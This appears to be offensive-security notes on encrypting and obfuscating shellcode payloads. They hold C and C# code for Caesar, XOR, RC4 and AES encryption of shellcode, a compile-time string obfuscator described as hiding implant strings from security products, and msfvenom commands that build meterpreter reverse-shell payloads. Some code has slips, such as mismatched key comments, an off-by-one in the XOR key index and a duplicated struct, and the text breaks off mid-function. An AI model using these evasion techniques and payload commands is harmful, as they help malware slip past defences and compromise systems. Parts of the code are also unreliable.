Payload Encryption & Obfuscation
Encryption/Decryption Key Format
Keys can be represented using several different ways.
Hardcoding the plaintext key into the binary is considered bad practice and can be easily pulled when the malware is analyzed.
// Method 1
unsigned char* key = "verga123";
// Method 2
// This is 'verga123' represented as an array of hexadecimal bytes
unsigned char key[] = {
0x6D, 0x61, 0x6C, 0x64, 0x65, 0x76, 0x31, 0x32, 0x33
};
// Method 3
// This is 'verga123' represented in a hex/string form (hexadecimal escape sequence)
unsigned char* key = "\x6D\x61\x64\x65\x76\x31\x32\x33";
// Method 4 - better approach (via stack strings)
// This is 'maldev123' represented in an array of chars
unsigned char key[] = {
'v', 'e', 'r', 'g', 'a', '1', '2', '3'
};
Bash script to obtain method 2 hex bytes:
#!/bin/bash
input_string="verga"
formatted_hexadecimal=$(echo -n "$input_string" | xxd -p | sed 's/../0x&/g' | tr -d '\n')
echo "$formatted_hexadecimal"
Python script to input a password and obtain the c code to implement the key (add this directly or to the Brute-force Key Tools):
# Function to convert a password to a C-style key array
def password_to_c_key(password):
key = [hex(ord(char)) for char in password]
key_array = ", ".join(key)
return f"unsigned char key[] = {{\n {key_array}\n}};"
# Prompt the user for input password
password = input("Enter your password: ")
# Generate the C-style key array
c_key_array = password_to_c_key(password)
# Print the generated C-style key array
print(c_key_array)
Caesar Cipher Encryption
Caesar cipher is not considered secure for modern encryption needs, as there are only 25 possible keys (assuming a 26-character alphabet), making it vulnerable to brute force attacks.
C# Caesar Encryption
- Encryption
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Helper
{
class Program
{
static void Main(string[] args)
{
//msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.XX.XX LPORT=443 -f csharp
byte[] buf = new byte[770] {};
byte[] encoded = new byte[buf.Length];
for (int i = 0; i < buf.Length; i++)
{
encoded[i] = (byte)(((uint)buf[i] + 2) & 0xff);
}
StringBuilder hex = new StringBuilder(encoded.Length * 2);
foreach (byte b in encoded)
{
hex.AppendFormat("0x{0:x2}, ", b);
}
Console.WriteLine("The payload is: " + hex.ToString());
Console.WriteLine("Length was: " + buf.Length.ToString());
}
}
}
- Decryption
byte[] buf = new byte[770] { }; //array containing the ciphertext data.
byte[] encoded = new byte[buf.Length];
for (int i = 0; i < buf.Length; i++)
{
encoded[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
}
buf = encoded;
Console.WriteLine("Cipher decrypted!");
XOR Encryption
Simplest to use and the lightest to implement. It does not require any additional libraries or the usage of Windows APIs. Additionally, it is a bidirectional encryption algorithm that allows the same function to be used for both encryption and decryption.
It is recommended to utilize XOR encryption for small tasks, such as obscuring strings. However, for larger payloads, it is advised to use more secure encryption methods.
C Xor Encryption with secured key
To perform the encryption process with a key, using every byte of the key repeatedly making it harder to crack the key (The following code will either encrypt or decrypted the selected shellcode with the selected key):
#include <Windows.h>
#include <stdio.h>
/*
- pTarget: Base address of the thing to encrypt
- sTargetSize: The size of the thing
- bKey: A random array of bytes of a specific size
- sKeySize: The size of the key
*/
// Example invocation: Check the main function
VOID XorByInputKey(IN PBYTE pTarget, IN SIZE_T sTargetSize, IN PBYTE bKey, IN SIZE_T sKeySize) {
for (size_t i = 0, j = 0; i < sTargetSize; i++, j++) {
// if end of the key, start again
if (j > sKeySize)
{
j = 0;
}
pTarget[i] = pTarget[i] ^ bKey[j];
}
}
// print the input buffer as a hex char array (c syntax)
VOID PrintHexData(LPCSTR Name, PBYTE Data, SIZE_T Size) {
printf("unsigned char %s[] = {", Name);
for (int i = 0; i < Size; i++) {
if (i % 16 == 0) {
printf("\n\t");
}
if (i < Size - 1) {
printf("0x%0.2X, ", Data[i]);
}
else {
printf("0x%0.2X ", Data[i]);
}
}
printf("};\n\n\n");
}
unsigned char key[] = {
0x49, 0x4b, 0x34, 0x4b, 0x33, 0x72, 0x4d, 0x42, 0x70, 0x53, 0x25, 0x5a, 0x23, 0x73, 0x48, 0x54, 0x69, 0x30
};
// Encryption - Comment or uncomment section
unsigned char Target[] = {
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.3"
};
int main() {
// Printing some data
printf("[i] Target : 0x%p \n", Target);
// Encryption
printf("[#] Press <Enter> To Encrypt ...");
getchar();
XorByInputKey(Target, sizeof(Target), key, sizeof(key));
printf("[+] Encrypted Hex Fortmat:\n");
PrintHexData("TargetXorEncryptedText", Target, sizeof(Target));
printf("[+] Encrypted PlainText:\n");
printf("\"%s\" \n", (char*)Target);
// Exit
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
// Decryption - Comment or uncomment section
/*
unsigned char Target[] = {
0x04, 0x24, 0x4E, 0x22, 0x5F, 0x1E, 0x2C, 0x6D, 0x45, 0x7D, 0x15, 0x7A, 0x0B, 0x24, 0x21, 0x3A,
0x0D, 0x5F, 0x77, 0x3A, 0x6B, 0x7A, 0x1F, 0x13, 0x43, 0x7D, 0x6C, 0x40, 0x68, 0x05, 0x0D, 0x4A,
0x1D, 0x7E, 0x60, 0x52, 0x10, 0x78, 0x7F, 0x7F, 0x1D, 0x6B, 0x72, 0x02, 0x3D, 0x2E, 0x15, 0x04,
0x40, 0x38, 0x68, 0x1A, 0x3C, 0x7B, 0x5C, 0x03, 0x37, 0x67, 0x78, 0x02, 0x6B, 0x1B, 0x39, 0x05,
0x16, 0x3D, 0x1F, 0x09, 0x7A, 0x4F, 0x1A, 0x23, 0x31, 0x49, 0x77, 0x65, 0x2A, 0x20, 0x5B, 0x62,
0x13, 0x31, 0x25, 0x30, 0x1F, 0x3E, 0x40, 0x75, 0x12, 0x41, 0x79, 0x7A, 0x59, 0x1E, 0x30, 0x67,
0x7B, 0x14, 0x18, 0x52, 0x14, 0x2C, 0x30, 0x19, 0x7C, 0x10, 0x69, 0x14, 0x5D, 0x7B, 0x54 };
int main() {
// Printing some data
printf("[i] Target : 0x%p \n", Target);
// Decryption
printf("\n[#] Press <Enter> To Decrypt ...");
getchar();
XorByInputKey(Target, sizeof(Target), key, sizeof(key));
printf("[i] PlainText : \"%s\" \n", (char*)Target);
// Exit
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
*/
C Xor Compile Time String Encryption
Constexpr to perform compile-time string encryption and decrypt the string at runtime, all while generating a random encryption key at compile time.
Encrypting strings at compile time and decrypting them at runtime allows implants to conceal important strings and data from security products that have specific signatures designed to detect such strings.
/*
!! This is a header file Obfuscation.h
Example of usage:
#include "Obfuscation.h"
#define URL OBFUSCATE(L"https://google.com")
or
LPCWSTR URL = OBFUSCATE(L"https://google.com");
wprintf(URL);
// Reading the pesload
if (!WebSager(URL, &Bytes, &Size)) {
return -1;
}
*/
#pragma once
#ifdef _MSC_VER
#define CAT(X,Y) CAT2(X,Y)
#define CAT2(X,Y) X##Y
#define LINE int(CAT(__LINE__,U))
#else
#define LINE __LINE__
#endif
#ifndef OBFUSCATE_DEFAULT_KEY
// The default 64 bit key to obfuscate strings with.
// This can be user specified by defining OBFUSCATE_DEFAULT_KEY before
#define OBFUSCATE_DEFAULT_KEY es::generate_key(LINE)
#endif
namespace es
{
using size_type = unsigned long long;
using key_type = unsigned long long;
template <typename T>
struct remove_const_ref {
using type = T;
};
template <typename T>
struct remove_const_ref<T&> {
using type = T;
};
template <typename T>
struct remove_const_ref<const T> {
using type = T;
};
template <typename T>
struct remove_const_ref<const T&> {
using type = T;
};
template <typename T>
using char_type = typename remove_const_ref<T>::type;
// Generate a pseudo-random key that spans all 8 bytes
constexpr key_type generate_key(key_type seed)
{
// Use the MurmurHash3 64-bit finalizer to hash our seed
key_type key = seed;
key ^= (key >> 33);
key *= 0xff51afd7ed558ccd;
key ^= (key >> 33);
key *= 0xc4ceb9fe1a85ec53;
key ^= (key >> 33);
// Make sure that a bit in each byte is set
key |= 0x0101010101010101ull;
return key;
}
// Obfuscates or deobfuscates data with key
template <typename CHAR_TYPE>
constexpr void cipher(CHAR_TYPE* data, size_type size, key_type key)
{
// Obfuscate with a simple XOR cipher based on key
for (size_type i = 0; i < size; i++)
{
data[i] ^= CHAR_TYPE((key >> ((i % 8) * 8)) & 0xFF);
}
}
// Obfuscates a string at compile time
template <size_type N, key_type KEY, typename CHAR_TYPE = char>
class obfuscator
{
public:
// Obfuscates the string 'data' on construction
constexpr obfuscator(const CHAR_TYPE* data)
{
// Copy data
for (size_type i = 0; i < N; i++)
{
m_data[i] = data[i];
}
// On construction each of the characters in the string is
// obfuscated with an XOR cipher based on key
cipher(m_data, N, KEY);
}
constexpr const CHAR_TYPE* data() const
{
return &m_data[0];
}
constexpr size_type size() const
{
return N;
}
constexpr key_type key() const
{
return KEY;
}
private:
CHAR_TYPE m_data[N]{};
};
// Handles decryption and re-encryption of an encrypted string at runtime
template <size_type N, key_type KEY, typename CHAR_TYPE = char>
class obfuscated_data
{
public:
obfuscated_data(const obfuscator<N, KEY, CHAR_TYPE>& obfuscator)
{
// Copy obfuscated data
for (size_type i = 0; i < N; i++)
{
m_data[i] = obfuscator.data()[i];
}
}
~obfuscated_data()
{
// Zero m_data to remove it from memory
for (size_type i = 0; i < N; i++)
{
m_data[i] = 0;
}
}
// Returns a pointer to the plain text string, decrypting it if
// necessary
operator CHAR_TYPE* ()
{
decrypt();
return m_data;
}
// Manually decrypt the string
void decrypt()
{
if (m_encrypted)
{
cipher(m_data, N, KEY);
m_encrypted = false;
}
}
// Manually re-encrypt the string
void encrypt()
{
if (!m_encrypted)
{
cipher(m_data, N, KEY);
m_encrypted = true;
}
}
// Returns true if this string is currently encrypted, false otherwise.
bool is_encrypted() const
{
return m_encrypted;
}
private:
// Local storage for the string. Call is_encrypted() to check whether or
// not the string is currently obfuscated.
CHAR_TYPE m_data[N];
// Whether data is currently encrypted
bool m_encrypted{ true };
};
// This function exists purely to extract the number of elements 'N' in the
// arres 'data'
template <size_type N, key_type KEY = OBFUSCATE_DEFAULT_KEY, typename CHAR_TYPE = char>
constexpr auto make_obfuscator(const CHAR_TYPE(&data)[N])
{
return obfuscator<N, KEY, CHAR_TYPE>(data);
}
}
// Obfuscates the string 'data' at compile-time and returns a reference to a
// es::obfuscated_data object with global lifetime that has functions for
// decrypting the string and is also implicitly convertable to a char*
#define OBFUSCATE(data) OBFUSCATE_KEY(data, OBFUSCATE_DEFAULT_KEY)
// Obfuscates the string 'data' with 'key' at compile-time and returns a
// reference to a es::obfuscated_data object with global lifetime that has
// functions for decrypting the string and is also implicitly convertable to a
// char*
#define OBFUSCATE_KEY(data, key) \
[]() -> es::obfuscated_data<sizeof(data)/sizeof(data[0]), key, es::char_type<decltype(*data)>>& { \
static_assert(sizeof(decltype(key)) == sizeof(es::key_type), "key must be a 64 bit unsigned integer"); \
static_assert((key) >= (1ull << 56), "key must span all 8 bytes"); \
using char_type = es::char_type<decltype(*data)>; \
constexpr auto n = sizeof(data)/sizeof(data[0]); \
constexpr auto obfuscator = es::make_obfuscator<n, key, char_type>(data); \
thread_local auto obfuscated_data = es::obfuscated_data<n, key, char_type>(obfuscator); \
return obfuscated_data; \
}()
Fixed Key (0xfa) C# Xor Encryption
- Encryption
https://github.com/chvancooten/OSEP-Code-Snippets/tree/main/XOR%20Shellcode%20Encoder
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace XorCoder
{
public class Program
{
public static void Main(string[] args)
{
byte[] buf = new byte[511]
{
// shellcode goes here
};
// Encode the payload with XOR (fixed key)
byte[] encoded = new byte[buf.Length];
for (int i = 0; i < buf.Length; i++)
{
encoded[i] = (byte)((uint)buf[i] ^ 0xfa);
}
// Convert the encoded payload to a hexadecimal string
StringBuilder hex = new StringBuilder(encoded.Length * 2);
int totalCount = encoded.Length;
for (int count = 0; count < totalCount; count++)
{
byte b = encoded[count];
if ((count + 1) == totalCount) // Don't append a comma for the last item
{
hex.AppendFormat("0x{0:x2}", b);
}
else
{
hex.AppendFormat("0x{0:x2}, ", b);
}
if ((count + 1) % 15 == 0)
{
hex.Append("\n");
}
}
// Print the XOR-encoded payload
Console.WriteLine("XOR payload (key: 0xfa):");
Console.WriteLine($"byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};");
}
}
}
- Decryption
private static byte[] xor(byte[] cipher, byte[] key)
{
byte[] xored = new byte[cipher.Length];
for (int i = 0; i < cipher.Length; i++)
{
xored[i] = (byte)(cipher[i] ^ key[i % key.Length]);
}
return xored;
}
static void Main(string[] args)
{
// Key used for XOR decryption
string key = "a70f8922029506d2e37f375fd638cdf9e2c039c8a1e6e01189eeb4efb";
// Encrypted shellcode (you should replace this with your actual encrypted shellcode)
byte[] xorbuf = { encryptedShellcode };
// Decrypt the shellcode using XOR with the given key
byte[] buf = xor(xorbuf, Encoding.ASCII.GetBytes(key));
// Get the size of the decrypted shellcode
int size = buf.Length;
// The decrypted shellcode is now available in the 'buf' array
}
- xorenrypt.py
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.X.Y LPORT=443 -f raw -o shell.bin
python xorenrypt.py shell.bin
- shellcodeCrypter-msfvenom.py
python3 shellcodeCrypter-msfvenom.py {IP} {PORT} cs xor 250 windows/x64/meterpreter/reverse_http
RC4 (Rivest Cipher 4) Encryptionn
RC4 is a fast and efficient stream cipher that is also a bidirectional encryption algorithm that allows the same function to be used for both encryption and decryption.
ORYX Method C RC4 Encryption
The following code contain the functions and context structure to initialize and maintain the state of the RC4 encryption algorithm, and then the encryption and decryption functions:
#include <Windows.h>
#include <stdio.h>
// Reference - https://www.oryx-embedded.com/doc/rc4_8c_source.html
typedef struct
{
unsigned int i;
unsigned int j;
unsigned char s[256];
} Rc4Context;
void rc4Init(Rc4Context* context, const unsigned char* key, size_t length)
{
unsigned int i;
unsigned int j;
unsigned char temp;
//Check parameters
if (context == NULL || key == NULL)
return ERROR_INVALID_PARAMETER;
// Clear context
context->i = 0;
context->j = 0;
// Initialize the S array with identity permutation
for (i = 0; i < 256; i++)
{
context->s[i] = i;
}
// S is then processed for 256 iterations
for (i = 0, j = 0; i < 256; i++)
{
// Randomize the permutations using the supplied key
j = (j + context->s[i] + key[i % length]) % 256;
// Swap the values of S[i] and S[j]
temp = context->s[i];
context->s[i] = context->s[j];
context->s[j] = temp;
}
}
void rc4Cipher(Rc4Context* context, const unsigned char* input, unsigned char* output, size_t length) {
unsigned char temp;
// Restore context
unsigned int i = context->i;
unsigned int j = context->j;
unsigned char* s = context->s;
// Encryption loop
while (length > 0)
{
// Adjust indices
i = (i + 1) % 256;
j = (j + s[i]) % 256;
// Swap the values of S[i] and S[j]
temp = s[i];
s[i] = s[j];
s[j] = temp;
// If the input and output are valid
if (input != NULL && output != NULL)
{
// XOR the input data with the RC4 stream
*output = *input ^ s[(s[i] + s[j]) % 256];
// Increment data pointers
input++;
output++;
}
// Remaining bytes to process
length--;
}
// Save context
context->i = i;
context->j = j;
}
unsigned char shellcode[] = {
"This is very spooky stuff, doing rc4 encryption !"
};
unsigned char key[] = {
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F
};
int main() {
// Intializing the struct
Rc4Context ctx = { 0 };
rc4Init(&ctx, key, sizeof(key));
// Encryption
unsigned char* Ciphertext = (unsigned char*)malloc(strlen(shellcode) * sizeof(int)); // Allocating and cleaning [this is the output of the encryption]
ZeroMemory(Ciphertext, strlen(shellcode) * sizeof(int));
rc4Cipher(&ctx, shellcode, Ciphertext, strlen(shellcode));
printf("[i] Ciphertext : 0x%p \n", Ciphertext);
printf("[#] Press <Enter> To Decrypt...");
getchar();
// Intializing the struct, in case of any errors / changes in the structure's bytes
rc4Init(&ctx, key, sizeof(key));
// Decryption
unsigned char* PlainText = (unsigned char*)malloc(strlen(shellcode) * sizeof(int)); // Allocating and cleaning [this is the output of the decryption]
ZeroMemory(PlainText, strlen(shellcode) * sizeof(int));
rc4Cipher(&ctx, Ciphertext, PlainText, strlen(shellcode));
// Printing the shellcode's string
printf("[i] PlainText : \"%s\" \n", (char*)PlainText);
// Exit
printf("[#] Press <Enter> To Quit ...");
getchar();
free(Ciphertext);
free(PlainText);
return 0;
}
SystemFunction032 Method C RC4 Encryption
The undocumented Windows NTAPI SystemFunction032 offers a faster and smaller implementation of the RC4 algorithm.
Although is an undocumented API, it's possible to locate the USTRING structure definition in wine/crypt.h (https://github.com/wine-mirror/wine/blob/master/dlls/advapi32/crypt.h#L94).
- Encryption and Decryption
#include <Windows.h>
#include <stdio.h>
// Defining a USTRING struct
// This is what SystemFunction032 function take as parameters
typedef struct
{
DWORD Length;
DWORD MaximumLength;
PVOID Buffer;
} USTRING;
// Defining how does the SystemFunction032 function look.
// More on this structure in the API Hashing module
typedef NTSTATUS(NTAPI* fnSystemFunction032)(
struct USTRING* Data,
struct USTRING* Key
);
typedef struct
{
DWORD Length;
DWORD MaximumLength;
PVOID Buffer;
} USTRING;
/*
Helper function that calls SystemFunction032
* pRc4Key - The RC4 key use to encrypt/decrypt
* pPayloadData - The base address of the buffer to encrypt/decrypt
* dwRc4KeySize - Size of pRc4key (Param 1)
* sPayloadSize - Size of pPayloadData (Param 2)
*/
BOOL Rc4EncryptionViSystemFunc032(IN PBYTE pRc4Key, IN PBYTE pPayloadData, IN DWORD dwRc4KeySize, IN DWORD sPayloadSize) {
// The return of SystemFunction032
NTSTATUS STATUS = NULL;
// Making 2 USTRING variables
// 1 is passed as the key and the other one is passed as the block of data to encrypt/decrypt
USTRING Key = { .Buffer = pRc4Key, .Length = dwRc4KeySize, .MaximumLength = dwRc4KeySize },
Data = { .Buffer = pPayloadData, .Length = sPayloadSize, .MaximumLength = sPayloadSize };
// Since SystemFunction032 is exported from Advapi32.dll, use LoadLibraryA to load Advapi32.dll into the process,
// And use LoadLibraryA's return value as the hModule parameter in GetProcAddress
fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032");
// If the SystemFunction032 invocation failed, it will return a non-zero value
if ((STATUS = SystemFunction032(&Data, &Key)) != 0x0) {
printf("[!] SystemFunction032 FAILED With Error: 0x%0.8X \n", STATUS);
return FALSE;
}
return TRUE;
}
unsigned char shellcode[] = {
"This is very spooky stuff, doing rc4 encryption !"
};
unsigned char key[] = {
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F
};
int main() {
// Printing the address of the shellcode
printf("[i] shellcode : 0x%p \n", shellcode);
// Encryption
if (!Rc4EncryptionViSystemFunc032(key, shellcode, sizeof(key), sizeof(shellcode))){
// Failed
return -1;
}
printf("[#] Press <Enter> To Decrypt ...");
getchar();
// Decryption
if (!Rc4EncryptionViSystemFunc032(key, shellcode, sizeof(key), sizeof(shellcode))) {
// Failed
return -1;
}
// Printing shellcode to verify successful decryption
printf("[i] shellcode : \"%s\" \n", (char*)shellcode);
// Exit
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
SystemFunction033 Method C RC4 Encryption
Similar to SystemFunction032.
- Encryption and Decryption
#include <Windows.h>
#include <stdio.h>
// Defining a USTRING struct
// This is what SystemFunction033 function take as parameters
typedef struct
{
DWORD Length;
DWORD MaximumLength;
PVOID Buffer;
} USTRING;
// Defining how does the SystemFunction033 function look.
// More on this structure in the API Hashing module
typedef NTSTATUS(NTAPI* fnSystemFunction033)(
struct USTRING* Data,
struct USTRING* Key
);
BOOL Rc4EncryptionViSystemFunc033(IN PBYTE pRc4Key, IN PBYTE pPayloadData, IN DWORD dwRc4KeySize, IN DWORD sPayloadSize) {
// The return of SystemFunction033
NTSTATUS STATUS = NULL;
// Making 2 USTRING variables
// 1 is passed as the key and the other one is passed as the block of data to encrypt/decrypt
USTRING Key = { .Buffer = pRc4Key, .Length = dwRc4KeySize, .MaximumLength = dwRc4KeySize },
Data = { .Buffer = pPayloadData, .Length = sPayloadSize, .MaximumLength = sPayloadSize };
// Since SystemFunction033 is exported from Advapi32.dll, use LoadLibraryA to load Advapi32.dll into the process,
// And use LoadLibraryA's return value as the hModule parameter in GetProcAddress
fnSystemFunction033 SystemFunction033 = (fnSystemFunction033)GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction033");
// If the SystemFunction033 invocation failed, it will return a non-zero value
if ((STATUS = SystemFunction033(&Data, &Key)) != 0x0) {
printf("[!] SystemFunction033 FAILED With Error: 0x%0.8X \n", STATUS);
return FALSE;
}
return TRUE;
}
unsigned char shellcode[] = {
"This is very spooky stuff, doing rc4 encryption !"
};
unsigned char key[] = {
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F
};
int main() {
// Printing the address of the shellcode
printf("[i] shellcode : 0x%p \n", shellcode);
// Encryption
if (!Rc4EncryptionViSystemFunc033(key, shellcode, sizeof(key), sizeof(shellcode))) {
// Failed
return -1;
}
printf("[#] Press <Enter> To Decrypt ...");
getchar();
// Decryption
if (!Rc4EncryptionViSystemFunc033(key, shellcode, sizeof(key), sizeof(shellcode))) {
// Failed
return -1;
}
// Printing shellcode to verify successful decryption
printf("[i] shellcode : \"%s\" \n", (char*)shellcode);
// exit
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
AES (Advanced Encryption Standard) Encryption
It is a symmetric-key algorithm, meaning the same key is used for both encryption and decryption. There are several types of AES encryption such as AES128, AES192, and AES256 that vary by the key size. For example, AES128 uses a 128-bit key whereas AES256 uses a 256-bit key.
AES can use different block cipher modes of operation such as CBC and GCM. Depending on the AES mode, the AES algorithm will require an additional component along with the encryption key called an Initialization Vector or IV. Providing an IV provides an additional layer of security to the encryption process.
bCrypt Library with CNG AES Encryption
https://learn.microsoft.com/en-us/windows/win32/api/bcrypt/
Both InstallAesEncryption and InstallAesDecryption functions make use of CNG.
Both InstallAesEncryption and InstallAesDecryption functions use the BCRYPT_BLOCK_PADDING flag with the BCryptEncrypt and BCryptDecrypt bcrypt functions respectively, which will automatically pad the input buffer, if required, to be a multiple of 16 bytes, solving the AES padding issue.
One of the primary drawbacks of using this method is that the usage of the cryptographic WinAPIs results in them being visible in the binary's Import Address Table (IAT). Security solutions can detect the use of cryptographic functions by scanning the IAT. However, hiding WinAPIs in the IAT is possible.
- Encryption and Decryption
Coment out the encryption main function for decrypt and viceversa:
#include <Windows.h>
#include <stdio.h>
#include <bcrypt.h>
#pragma comment(lib, "Bcrypt.lib")
#define NT_SUCCESS(status) (((NTSTATUS)(status)) >= 0)
#define KEYSIZE 32
#define IVSIZE 16
typedef struct _AES {
PBYTE pPlainText; // Base address of the plaintext data
DWORD dwPlainSize; // Size of the plaintext data
PBYTE pCipherText; // Base address of the encrypted data
DWORD dwCipherSize; // Size of the encrypted data. This can vary from dwPlainSize when there is padding involved.
PBYTE pKey; // The 32 byte key
PBYTE pIv; // The 16 byte IV
}AES, * PAES;
// Generate random bytes of size sSize
VOID GenerateRandomBytes(PBYTE pByte, SIZE_T sSize) {
for (int i = 0; i < sSize; i++) {
pByte[i] = (BYTE)rand() % 0xFF;
}
}
// Print the input buffer as a hex char array
VOID PrintHexData(LPCSTR Name, PBYTE Data, SIZE_T Size) {
printf("unsigned char %s[] = {", Name);
for (int i = 0; i < Size; i++) {
if (i % 16 == 0) {
printf("\n\t");
}
if (i < Size - 1) {
printf("0x%0.2X, ", Data[i]);
}
else {
printf("0x%0.2X ", Data[i]);
}
}
printf("};\n\n\n");
}
// The encryption implementation
BOOL InstallAesEncryption(PAES pAes) {
BOOL bSTATE = TRUE;
BCRYPT_ALG_HANDLE hAlgorithm = NULL;
BCRYPT_KEY_HANDLE hKeyHandle = NULL;
ULONG cbResult = NULL;
DWORD dwBlockSize = NULL;
DWORD cbKeyObject = NULL;
PBYTE pbKeyObject = NULL;
PBYTE pbCipherText = NULL;
DWORD cbCipherText = NULL,
// Intializing "hAlgorithm" as AES algorithm Handle
STATUS = BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_AES_ALGORITHM, NULL, 0);
if (!NT_SUCCESS(STATUS)) {
printf("[!] BCryptOpenAlgorithmProvider Failed With Error: 0x%0.8X \n", STATUS);
bSTATE = FALSE; goto _EndOfFunc;
}
// Getting the size of the key object variable pbKeyObject. This is used by the BCryptGenerateSymmetricKey function later
STATUS = BCryptGetProperty(hAlgorithm, BCRYPT_OBJECT_LENGTH, (PBYTE)&cbKeyObject, sizeof(DWORD), &cbResult, 0);
if (!NT_SUCCESS(STATUS)) {
printf("[!] BCryptGetProperty[1] Failed With Error: 0x%0.8X \n", STATUS);
bSTATE = FALSE; goto _EndOfFunc;
}
// Getting the size of the block used in the encryption. Since this is AES it must be 16 bytes.
STATUS = BCryptGetProperty(hAlgorithm, BCRYPT_BLOCK_LENGTH, (PBYTE)&dwBlockSize, sizeof(DWORD), &cbResult, 0);
if (!NT_SUCCESS(STATUS)) {
printf("[!] BCryptGetProperty[2] Failed With Error: 0x%0.8X \n", STATUS);
bSTATE = FALSE; goto _EndOfFunc;
}
// Checking if block size is 16 bytes
if (dwBlockSize != 16) {
bSTATE = FALSE; goto _EndOfFunc;
}
// Allocating memory for the key object
pbKeyObject = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbKeyObject);
if (pbKeyObject == NULL) {
bSTATE = FALSE; goto _EndOfFunc;
}
// Setting Block Cipher Mode to CBC. This uses a 32 byte key and a 16 byte IV.
STATUS = BCryptSetProperty(hAlgorithm, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
if (!NT_SUCCESS(STATUS)) {
printf("[!] BCryptSetProperty Failed With Error: 0x%0.8X \n", STATUS);
bSTATE = FALSE; goto _EndOfFunc;
}
// Generating the key object from the AES key "pAes->pKey". The output will be saved in pbKeyObject and will be of size cbKeyObject
STATUS = BCryptGenerateSymmetricKey(hAlgorithm, &hKeyHandle, pbKeyObject, cbKeyObject, (PBYTE)pAes->pKey, KEYSIZE, 0);
if (!NT_SUCCESS(STATUS)) {
printf("[!] BCryptGenerateSymmetricKey Failed With Error: 0x%0.8X \n", STATUS);
bSTATE = FALSE; goto _EndOfFunc;
}
// Running BCryptEncrypt first time with NULL output parameters to retrieve the size of the output buffer which is saved in cbCipherText
STATUS = BCryptEncrypt(hKeyHandle, (PUCHAR)pAes->pPlainText, (ULONG)pAes->dwPlainSize, NULL, pAes->pIv, IVSIZE, NULL, 0, &cbCipherText, BCRYPT_BLOCK_PADDING);
if (!NT_SUCCESS(STATUS)) {
printf("[!] BCryptEncrypt[1] Failed With Error: 0x%0.8X \n", STATUS);
bSTATE = FALSE; goto _EndOfFunc;
}
// Allocating enough memory for the output buffer, cbCipherText
pbCipherText = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbCipherText);
if (pbCipherText == NULL) {
bSTATE = FALSE; goto _EndOfFunc;
}
// Running BCryptEncrypt again with pbCipherText as the output buffer
STATUS = BCryptEncrypt(hKeyHandle, (PUCHAR)pAes->pPlainText, (ULONG)pAes->dwPlainSize, NULL, pAes->pIv, IVSIZE, pbCipherText, cbCipherText, &cbResult, BCRYPT_BLOCK_PADDING);
if (!NT_SUCCESS(STATUS)) {
printf("[!] BCryptEncrypt[2] Failed With Error: 0x%0.8X \n", STATUS);
bSTATE = FALSE; goto _EndOfFunc;
}
// Clean up
_EndOfFunc:
if (hKeyHandle) {
BCryptDestroyKey(hKeyHandle);
}
if (hAlgorithm) {
BCryptCloseAlgorithmProvider(hAlgorithm, 0);
}
if (pbKeyObject) {
HeapFree(GetProcessHeap(), 0, pbKeyObject);
}
if (pbCipherText != NULL && bSTATE) {
// If everything worked, save pbCipherText and cbCipherText
pAes->pCipherText = pbCipherText;
pAes->dwCipherSize = cbCipherText;
}
return bSTATE;
}
// The decryption implementation
BOOL InstallAesDecryption(PAES pAes) {
BOOL bSTATE = TRUE;
BCRYPT_ALG_HANDLE hAlgorithm = NULL;
BCRYPT_KEY_HANDLE hKeyHandle = NULL;
ULONG cbResult = NULL;
DWORD dwBlockSize = NULL;
DWORD cbKeyObject = NULL;
PBYTE pbKeyObject = NULL;
PBYTE pbPlainText = NULL;
DWORD cbPlainText = NULL,
// Intializing "hAlgorithm" as AES algorithm Handle
STATUS = BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_AES_ALGORITHM, NULL, 0);
if (!NT_SUCCESS(STATUS)) {
printf("[!] BCryptOpenAlgorithmProvider Failed With Error: 0x%0.8X \n", STATUS);
bSTATE = FALSE; goto _EndOfFunc;
}
// Getting the size of the key object variable pbKeyObject. This is used by the BCryptGenerateSymmetricKey function later
STATUS = BCryptGetProperty(hAlgorithm, BCRYPT_OBJECT_LENGTH, (PBYTE)&cbKeyObject, sizeof(DWORD), &cbResult, 0);
if (!NT_SUCCESS(STATUS)) {
printf("[!] BCryptGetProperty[1] Failed With Error: 0x%0.8X \n", STATUS);
bSTATE = FALSE; goto _EndOfFunc;
}
// Getting the size of the block used in the encryption. Since this is AES it should be 16 bytes.
STATUS = BCryptGetProperty(hAlgorithm, BCRYPT_BLOCK_LENGTH, (PBYTE)&dwBlockSize, sizeof(DWORD), &cbResult, 0);
if (!NT_SUCCESS(STATUS)) {
printf("[!] BCryptGetProperty[2] Failed With Error: 0x%0.8X \n", STATUS);
bSTATE = FALSE; goto _EndOfFunc;
}
// Checking if block size is 16 bytes
if (dwBlockSize != 16) {
bSTATE = FALSE; goto _EndOfFunc;
}
// Allocating memory for the key object
pbKeyObject = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbKeyObject);
if (pbKeyObject == NULL) {
